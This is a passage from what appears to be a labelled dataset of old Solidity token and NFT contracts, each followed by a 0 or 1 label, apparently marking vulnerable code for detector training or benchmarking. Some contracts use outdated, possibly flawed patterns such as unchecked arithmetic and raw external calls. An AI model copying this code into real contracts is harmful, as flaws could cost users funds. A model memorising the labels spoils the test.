c = a + b; require(c >= a, "add failed"); return c; } } library Fee { using SafeMath for uint; struct fee { uint num; uint den; } function split(fee memory f, uint value) internal pure returns (uint tax, uint taxed_value) { if (value == 0) { return (0, 0); } tax = value.mul(f.num) / f.den; taxed_value = value.sub(tax); } function get_tax(fee memory f, uint value) internal pure returns (uint tax) { if (value == 0) { return 0; } tax = value.mul(f.num) / f.den; } } library ToAddress { function toAddr(bytes source) internal pure returns (address addr) { assembly { addr := mload(add(source, 0x14)) } return addr; } }
1
pragma solidity ^0.4.19; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns(uint); function balanceOf( address tokenOwner) public constant returns(uint balance); function allowance( address tokenOwner, address spender) public constant returns(uint approve); function transfer( address to, uint tokens) public returns(bool success); function approve( address spender, uint tokens) public returns(bool success); function transferFrom( address from, address to, uint tokens) public returns(bool success); event Transfer( address indexed from, address indexed to, uint tokens); event Approval( address indexed tokenOwner, address indexed spender, uint tokens); } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract ApproveAndCallFallBack { function receiveApproval( address from, uint256 tokens, address token, bytes data) public; } contract CryptopusToken is ERC20Interface, Owned { using SafeMath for uint; address public preSaleContract; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public saleLimit; uint public alreadySold; uint public firstWavePrice; uint public secondWavePrice; uint public thirdWavePrice; bool public saleOngoing; mapping(address => uint8) approved; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function CryptopusToken() public { symbol = "CPP"; name = "Cryptopus Token"; decimals = 18; _totalSupply = 100000000 * 10**uint(decimals); saleLimit = 40000000 * 10**uint(decimals); alreadySold = 0; balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); firstWavePrice = 0.0008 ether; secondWavePrice = 0.0009 ether; thirdWavePrice = 0.001 ether; saleOngoing = false; } modifier onlyIfOngoing() { require(saleOngoing); _; } modifier onlyApproved(address _owner) { require(approved[_owner] != 0); _; } function setPrices( uint _newPriceFirst, uint _newPriceSecond, uint _newPriceThird) public onlyOwner returns(bool) { firstWavePrice = _newPriceFirst; secondWavePrice = _newPriceSecond; thirdWavePrice = _newPriceThird; return true; } function setPreSaleContract( address _owner) public onlyOwner returns(bool) { preSaleContract = _owner; return true; } function updateSaleStatus() public onlyOwner returns(bool) { saleOngoing = !saleOngoing; return true; } function pushToApproved( address _contributor, uint8 waveNumber) public onlyOwner returns(bool) { approved[_contributor] = waveNumber; return true; } function totalSupply() public constant returns(uint) { return _totalSupply - balances[address(0)]; } function balanceOf( address tokenOwner) public constant returns(uint) { return balances[tokenOwner]; } function transfer( address to, uint tokens) public returns(bool) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } function approve( address spender, uint tokens) public returns(bool) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom( address from, address to, uint tokens) public returns(bool) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } function allowance( address tokenOwner, address spender) public constant returns(uint) { return allowed[tokenOwner][spender]; } function approveAndCall( address spender, uint tokens, bytes data) public returns(bool) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender) .receiveApproval( msg.sender, tokens, this, data); return true; } function burnTokens( uint tokens) public returns(bool) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[address(0)] = balances[address(0)].add(tokens); Transfer(msg.sender, address(0), tokens); return true; } function exchangeTokens() public returns(bool) { uint tokens = uint( ERC20Interface(preSaleContract) .allowance(msg.sender, this)); require(tokens > 0 && ERC20Interface(preSaleContract) .balanceOf(msg.sender) == tokens); ERC20Interface(preSaleContract) .transferFrom(msg.sender, address(0), tokens); balances[owner] = balances[owner].sub(tokens); balances[msg.sender] = balances[msg.sender].add(tokens); Transfer(owner, msg.sender, tokens); return true; } function() public onlyIfOngoing onlyApproved(msg.sender) payable { uint tokenPrice; if(approved[msg.sender] == 1) { tokenPrice = firstWavePrice; } else if(approved[msg.sender] == 2) { tokenPrice = secondWavePrice; } else if(approved[msg.sender] == 3) { tokenPrice = thirdWavePrice; } else { revert(); } require(msg.value >= tokenPrice); uint tokenAmount = msg.value / tokenPrice; require(saleOngoing && alreadySold.add(tokenAmount) <= saleLimit); balances[owner] = balances[owner].sub(tokenAmount); balances[msg.sender] = balances[msg.sender].add(tokenAmount); alreadySold = alreadySold.add(tokenAmount); Transfer(owner, msg.sender, tokenAmount); } }
0
pragma solidity ^0.4.18; interface ERC20 { function transferFrom(address _from, address _to, uint _value) public returns (bool success); } interface TokenConfigInterface { function admin() public returns(address); function claimAdmin() public; function transferAdminQuickly(address newAdmin) public; function listPairForReserve(address reserve, address src, address dest, bool add) public; function approveWithdrawAddress(address token, address addr, bool approve) public; function withdrawToken(address token, uint amount, address sendTo) external; function withdrawEther(uint amount, address sendTo) external; function addToken(address token) public; function enableTokenTrade(address token) public; function setTokenControlInfo( address token, uint minimalRecordResolution, uint maxPerBlockImbalance, uint maxTotalImbalance ) public; function setQtyStepFunction( ERC20 token, int[] xBuy, int[] yBuy, int[] xSell, int[] ySell ) public; function setImbalanceStepFunction( ERC20 token, int[] xBuy, int[] yBuy, int[] xSell, int[] ySell ) public; } contract TokenAdder { TokenConfigInterface public network; TokenConfigInterface public reserve; TokenConfigInterface public conversionRate; address public multisigAddress; address public withdrawAddress; address public ETH = 0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee; ERC20 public ENG = ERC20(0xf0ee6b27b759c9893ce4f094b49ad28fd15a23e4); ERC20 public SALT = ERC20(0x4156D3342D5c385a87D264F90653733592000581); ERC20 public APPC = ERC20(0x1a7a8bd9106f2b8d977e08582dc7d24c723ab0db); ERC20 public RDN = ERC20(0x255aa6df07540cb5d3d297f0d0d4d84cb52bc8e6); ERC20 public OMG = ERC20(0xd26114cd6EE289AccF82350c8d8487fedB8A0C07); ERC20 public KNC = ERC20(0xdd974D5C2e2928deA5F71b9825b8b646686BD200); ERC20 public EOS = ERC20(0x86Fa049857E0209aa7D9e616F7eb3b3B78ECfdb0); ERC20 public SNT = ERC20(0x744d70fdbe2ba4cf95131626614a1763df805b9e); ERC20 public ELF = ERC20(0xbf2179859fc6d5bee9bf9158632dc51678a4100e); ERC20 public POWR = ERC20(0x595832f8fc6bf59c85c527fec3740a1b7a361269); ERC20 public MANA = ERC20(0x0f5d2fb29fb7d3cfee444a200298f468908cc942); ERC20 public BAT = ERC20(0x0d8775f648430679a709e98d2b0cb6250d2887ef); ERC20 public REQ = ERC20(0x8f8221afbb33998d8584a2b05749ba73c37a938a); ERC20 public GTO = ERC20(0xc5bbae50781be1669306b9e001eff57a2957b09d); address[] public newTokens = [ ENG, SALT, APPC, RDN]; int[] zeroArray; function TokenAdder(TokenConfigInterface _network, TokenConfigInterface _reserve, TokenConfigInterface _conversionRate, address _withdrawAddress, address _multisigAddress) public { network = _network; reserve = _reserve; conversionRate = _conversionRate; withdrawAddress = _withdrawAddress; multisigAddress = _multisigAddress; } function listPairs() public { address orgAdmin = network.admin(); network.claimAdmin(); for( uint i = 0 ; i < newTokens.length ; i++ ) { network.listPairForReserve(reserve,ETH,newTokens[i],true); network.listPairForReserve(reserve,newTokens[i],ETH,true); } network.transferAdminQuickly(orgAdmin); require(orgAdmin == network.admin()); } function approveWithdrawAddress() public { address orgAdmin = reserve.admin(); reserve.claimAdmin(); for( uint i = 0 ; i < newTokens.length ; i++ ) { reserve.approveWithdrawAddress(newTokens[i], withdrawAddress, true); } reserve.transferAdminQuickly(orgAdmin); require(orgAdmin == reserve.admin()); } function addTokens() public { address orgAdmin = conversionRate.admin(); conversionRate.claimAdmin(); conversionRate.setTokenControlInfo( RDN, 1000000000000000, 2191833834271476809728, 3001716436034787475456 ); conversionRate.setTokenControlInfo( APPC, 1000000000000000, 8346369318913311768576, 11430352782251779948544 ); conversionRate.setTokenControlInfo( ENG, 10000, 245309013986, 335950694654 ); conversionRate.setTokenControlInfo( SALT, 10000, 117682709761, 117682709761 ); zeroArray.length = 0; zeroArray.push(int(0)); for( uint i = 0 ; i < newTokens.length ; i++ ) { conversionRate.addToken(newTokens[i]); conversionRate.enableTokenTrade(newTokens[i]); } conversionRate.transferAdminQuickly(orgAdmin); require(orgAdmin == conversionRate.admin()); } function tranferToReserve() public { ENG.transferFrom(multisigAddress,reserve,790805150356); RDN.transferFrom(multisigAddress,reserve,5991690723304920842240); APPC.transferFrom(multisigAddress,reserve,28294946522551069704192); SALT.transferFrom(multisigAddress,reserve,512404807997); } function withdrawToMultisig() public { address orgAdmin = reserve.admin(); reserve.claimAdmin(); reserve.withdrawToken(OMG,579712353000204795904,multisigAddress); reserve.withdrawToken(EOS,404333617684274479104,multisigAddress); reserve.withdrawToken(ELF,2851672250969491505152,multisigAddress); reserve.withdrawToken(MANA,18906283885644627312640,multisigAddress); reserve.withdrawToken(BAT,5034264918417995726848,multisigAddress); reserve.withdrawToken(REQ,6848892587322741096448,multisigAddress); reserve.withdrawToken(GTO,3232686829,multisigAddress); reserve.transferAdminQuickly(orgAdmin); require(orgAdmin == reserve.admin()); } }
0
pragma solidity ^0.4.24; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Token is StandardToken { string public name = "Snow Land Token"; string public symbol = "sonwl🐈"; string public unit = "sl"; uint public decimals = 18; uint256 internal supplyLimit = 9119190519 * (10 ** decimals); constructor () public { balances[0x006016cED2484bdc1E78bbdC0Ca95fA021cA5ba6] = supplyLimit; totalSupply_ = supplyLimit; } }
1
library Strings { function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal pure returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal pure returns (string) { return strConcat(_a, _b, "", "", ""); } function uint2str(uint i) internal pure returns (string) { if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } } pragma solidity ^0.4.23; contract ERC721Basic { event Transfer( address indexed _from, address indexed _to, uint256 _tokenId ); event Approval( address indexed _owner, address indexed _approved, uint256 _tokenId ); event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public; } pragma solidity ^0.4.23; contract ERC721Enumerable is ERC721Basic { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256 _tokenId); function tokenByIndex(uint256 _index) public view returns (uint256); } contract ERC721Metadata is ERC721Basic { function name() public view returns (string _name); function symbol() public view returns (string _symbol); function tokenURI(uint256 _tokenId) public view returns (string); } contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata { } pragma solidity ^0.4.23; contract ERC721Receiver { bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba; function onERC721Received( address _from, uint256 _tokenId, bytes _data ) public returns(bytes4); } pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } pragma solidity ^0.4.23; library AddressUtils { function isContract(address addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } } pragma solidity ^0.4.23; contract ERC721BasicToken is ERC721Basic { using SafeMath for uint256; using AddressUtils for address; bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba; mapping (uint256 => address) internal tokenOwner; mapping (uint256 => address) internal tokenApprovals; mapping (address => uint256) internal ownedTokensCount; mapping (address => mapping (address => bool)) internal operatorApprovals; modifier onlyOwnerOf(uint256 _tokenId) { require(ownerOf(_tokenId) == msg.sender); _; } modifier canTransfer(uint256 _tokenId) { require(isApprovedOrOwner(msg.sender, _tokenId)); _; } function balanceOf(address _owner) public view returns (uint256) { require(_owner != address(0)); return ownedTokensCount[_owner]; } function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; require(owner != address(0)); return owner; } function exists(uint256 _tokenId) public view returns (bool) { address owner = tokenOwner[_tokenId]; return owner != address(0); } function approve(address _to, uint256 _tokenId) public { address owner = ownerOf(_tokenId); require(_to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); if (getApproved(_tokenId) != address(0) || _to != address(0)) { tokenApprovals[_tokenId] = _to; emit Approval(owner, _to, _tokenId); } } function getApproved(uint256 _tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } function setApprovalForAll(address _to, bool _approved) public { require(_to != msg.sender); operatorApprovals[msg.sender][_to] = _approved; emit ApprovalForAll(msg.sender, _to, _approved); } function isApprovedForAll( address _owner, address _operator ) public view returns (bool) { return operatorApprovals[_owner][_operator]; } function transferFrom( address _from, address _to, uint256 _tokenId ) public canTransfer(_tokenId) { require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _tokenId); removeTokenFrom(_from, _tokenId); addTokenTo(_to, _tokenId); emit Transfer(_from, _to, _tokenId); } function safeTransferFrom( address _from, address _to, uint256 _tokenId ) public canTransfer(_tokenId) { safeTransferFrom(_from, _to, _tokenId, ""); } function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public canTransfer(_tokenId) { transferFrom(_from, _to, _tokenId); require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data)); } function isApprovedOrOwner( address _spender, uint256 _tokenId ) internal view returns (bool) { address owner = ownerOf(_tokenId); return ( _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender) ); } function _mint(address _to, uint256 _tokenId) internal { require(_to != address(0)); addTokenTo(_to, _tokenId); emit Transfer(address(0), _to, _tokenId); } function _burn(address _owner, uint256 _tokenId) internal { clearApproval(_owner, _tokenId); removeTokenFrom(_owner, _tokenId); emit Transfer(_owner, address(0), _tokenId); } function clearApproval(address _owner, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _owner); if (tokenApprovals[_tokenId] != address(0)) { tokenApprovals[_tokenId] = address(0); emit Approval(_owner, address(0), _tokenId); } } function addTokenTo(address _to, uint256 _tokenId) internal { require(tokenOwner[_tokenId] == address(0)); tokenOwner[_tokenId] = _to; ownedTokensCount[_to] = ownedTokensCount[_to].add(1); } function removeTokenFrom(address _from, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _from); ownedTokensCount[_from] = ownedTokensCount[_from].sub(1); tokenOwner[_tokenId] = address(0); } function checkAndCallSafeTransfer( address _from, address _to, uint256 _tokenId, bytes _data ) internal returns (bool) { if (!_to.isContract()) { return true; } bytes4 retval = ERC721Receiver(_to).onERC721Received( _from, _tokenId, _data); return (retval == ERC721_RECEIVED); } } pragma solidity ^0.4.23; contract ERC721Token is ERC721, ERC721BasicToken { string internal name_; string internal symbol_; mapping(address => uint256[]) internal ownedTokens; mapping(uint256 => uint256) internal ownedTokensIndex; uint256[] internal allTokens; mapping(uint256 => uint256) internal allTokensIndex; mapping(uint256 => string) internal tokenURIs; constructor(string _name, string _symbol) public { name_ = _name; symbol_ = _symbol; } function name() public view returns (string) { return name_; } function symbol() public view returns (string) { return symbol_; } function tokenURI(uint256 _tokenId) public view returns (string) { require(exists(_tokenId)); return tokenURIs[_tokenId]; } function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256) { require(_index < balanceOf(_owner)); return ownedTokens[_owner][_index]; } function totalSupply() public view returns (uint256) { return allTokens.length; } function tokenByIndex(uint256 _index) public view returns (uint256) { require(_index < totalSupply()); return allTokens[_index]; } function _setTokenURI(uint256 _tokenId, string _uri) internal { require(exists(_tokenId)); tokenURIs[_tokenId] = _uri; } function addTokenTo(address _to, uint256 _tokenId) internal { super.addTokenTo(_to, _tokenId); uint256 length = ownedTokens[_to].length; ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; } function removeTokenFrom(address _from, uint256 _tokenId) internal { super.removeTokenFrom(_from, _tokenId); uint256 tokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = ownedTokens[_from].length.sub(1); uint256 lastToken = ownedTokens[_from][lastTokenIndex]; ownedTokens[_from][tokenIndex] = lastToken; ownedTokens[_from][lastTokenIndex] = 0; ownedTokens[_from].length--; ownedTokensIndex[_tokenId] = 0; ownedTokensIndex[lastToken] = tokenIndex; } function _mint(address _to, uint256 _tokenId) internal { super._mint(_to, _tokenId); allTokensIndex[_tokenId] = allTokens.length; allTokens.push(_tokenId); } function _burn(address _owner, uint256 _tokenId) internal { super._burn(_owner, _tokenId); if (bytes(tokenURIs[_tokenId]).length != 0) { delete tokenURIs[_tokenId]; } uint256 tokenIndex = allTokensIndex[_tokenId]; uint256 lastTokenIndex = allTokens.length.sub(1); uint256 lastToken = allTokens[lastTokenIndex]; allTokens[tokenIndex] = lastToken; allTokens[lastTokenIndex] = 0; allTokens.length--; allTokensIndex[_tokenId] = 0; allTokensIndex[lastToken] = tokenIndex; } } pragma solidity ^0.4.23; contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } pragma solidity ^0.4.25; contract OwnableDelegateProxy { } contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } contract TradeableERC721Token is ERC721Token, Ownable { using SafeMath for uint256; using Strings for string; uint256 burnedCounter = 0; address proxyRegistryAddress; string baseURI; constructor(string _name, string _symbol, address _proxyRegistryAddress, string _baseTokenURI) ERC721Token(_name, _symbol) public { proxyRegistryAddress = _proxyRegistryAddress; baseURI = _baseTokenURI; } function mintTo(address _to) public onlyOwner { uint256 newTokenId = _getNextTokenId(); _mint(_to, newTokenId); } function approveBulk(address _to, uint256[] _tokenIds) public { for (uint256 i = 0; i < _tokenIds.length; i++) { approve(_to, _tokenIds[i]); } } function _getNextTokenId() private view returns (uint256) { return totalSupply().add(1).add(burnedCounter); } function _burn(address _owner, uint256 _tokenId) internal { super._burn(_owner, _tokenId); burnedCounter++; } function baseTokenURI() public view returns (string) { return baseURI; } function tokenURI(uint256 _tokenId) public view returns (string) { return Strings.strConcat( baseTokenURI(), Strings.uint2str(_tokenId) ); } function isApprovedForAll( address owner, address operator ) public view returns (bool) { if (proxyRegistryAddress != address(0)) { ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); if (proxyRegistry.proxies(owner) == operator) { return true; } } return super.isApprovedForAll(owner, operator); } function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 resultIndex = 0; uint256 _tokenIdx; for (_tokenIdx = 0; _tokenIdx < tokenCount; _tokenIdx++) { result[resultIndex] = tokenOfOwnerByIndex(_owner, _tokenIdx); resultIndex++; } return result; } } } pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } pragma solidity ^0.4.23; contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } pragma solidity ^0.4.25; contract ERC20Box is TradeableERC721Token { ERC20 public token; uint256 tokensPerBox; constructor(string _name, string _symbol, address _proxyRegistryAddress, address _tokenAddress, uint256 _tokensPerBox, string _baseTokenURI) TradeableERC721Token(_name, _symbol, _proxyRegistryAddress, _baseTokenURI) public { token = ERC20(_tokenAddress); tokensPerBox = _tokensPerBox; } function depositERC(uint256 amount) onlyOwner public { require(amount % tokensPerBox == 0, "Wrong amount of tokens!"); require(token.transferFrom(msg.sender, this, amount), "Insufficient funds"); for(uint i = 0; i < amount.div(tokensPerBox); i++) { mintTo(msg.sender); } } function unpack(uint256 _tokenId) public onlyOwnerOf(_tokenId){ require(token.balanceOf(this) >= tokensPerBox, "Hmm, been opened already?"); require(token.transfer(msg.sender, tokensPerBox), "Couldn't transfer token"); _burn(msg.sender, _tokenId); } function itemsPerLootbox() public view returns (uint256) { return tokensPerBox.div(10**18); } }
0
pragma solidity ^0.4.4; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract ERC20Token is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function ERC20Token( ) { balances[msg.sender] = 200000000000000000000000000; totalSupply = 200000000000000000000000000; name = "Open Source Foundries"; decimals = 18; symbol = "OSF"; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
1
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a / _b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; assert(c >= _a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20 { using SafeMath for uint256; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { 